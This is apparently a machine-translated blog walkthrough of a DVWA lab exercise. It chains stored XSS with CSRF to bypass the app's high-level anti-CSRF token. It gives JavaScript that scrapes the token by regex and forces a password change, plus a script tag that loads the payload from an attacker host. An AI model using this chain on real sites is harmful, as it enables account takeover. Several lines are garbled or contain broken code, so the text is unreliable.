CSRF avancé dans DVWA

(1) Visitez la page CSRF et vous pourrez voir le jeton généré dans le code source de la page.

<form action="#" method="GET">
            New password:<br />
            <input type="password" AUTOCOMPLETE="off" name="password_new"><br />
            Confirm new password:<br />
            <input type="password" AUTOCOMPLETE="off" name="password_conf"><br />
            <br />
            <input type="submit" value="Change" name="Change">
            <input type='hidden' name='user_token' value='9eed4c773cd578ed263facc427c1fb78' />
        </form>

(2) La valeur du jeton a changé lorsque vous visitez à nouveau la page CSRF. Il peut être déterminé que le mécanisme permettant à DVWA de générer le jeton est différent à chaque fois/

(3) L'essentiel du passage du dédouanement est d'envoyer une demande à

http://192.168.112.188/dvwa/vulnerabilities/csrf/

page, puis obtenez le Token de la réponse (extrait via des expressions régulières). Après l'avoir obtenu, envoyez le Token et le nouveau secret à

http:192.168.112.188/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change

La page termine le changement de mot de passe

(4) Construisez d'abord un code natif Javascript pour envoyer le code de requête AJAX

var tokenUrl='http://192.168.112.188/dvwa/vulnerabilities/csrf/';
var count = 0;
//实例化XMLHttpRequest,用于发送AJAX请求
xmlhttp = new XMLHttpRequest();
//当请求状态发生变化时,触发执行代码
xmlhttp.onreadystatechange = function(){
    //状态码0:请求未初始化,1:服务器连接已建立,2请求已接收,3请求处理中,4请求已完成,且相应已就绪
    if(xmlhttp.readyState == 4&&xmlhttp.status == 200)
    {
        //取得请求的响应,并从响应中通过正则提取Token
        var text = xmlhttp.responesText;
        var regex = /user_token\'value\=\'(.*?)\' \/\>/;
        var match = text.match(regex);
        //alert(match[1]);
        var token = match[1];
        //发送修改密码的语法
        var changeUrl='http:192.168.112.188/dvwa/vulnerabilities/csrf/?user_token='+token+'&                    password_new=123456&password_conf=123456&Change=Change';
        if(count == 0){
            count = 1; //只发送一次,否则会多次发送
            xmlhttp.open("GET",changeUrl,false); //false代表同步方式发送
            xmlhttp.send();
        }
    }
};
xmlhttp.open("GET",tokenUrl,false);
xmlhttp.send();

Placez le code ci-dessus sur le serveur d'attaque

Trouvez simplement un moyen d'intégrer le code JS ci-dessus dans le serveur de l'attaquant. (Un niveau élevé ne peut pas être atteint)

<script src="http://192.168.112.183/csrf.js"></script>

Au niveau haut, la balise <script> est bloquée, elle ne peut donc pas être utilisée directement.

Méthode de traitement : passez d'abord au niveau bas, injectez le script suivant dans le livre d'or, puis passez au niveau haut pour déclencher directement le changement de mot de passe.

<script src="http://192.168.112.183/csrf.js"></script>

Je suppose que tu aimes

Origine blog.csdn.net/m0_73896875/article/details/131668812
conseillé
Classement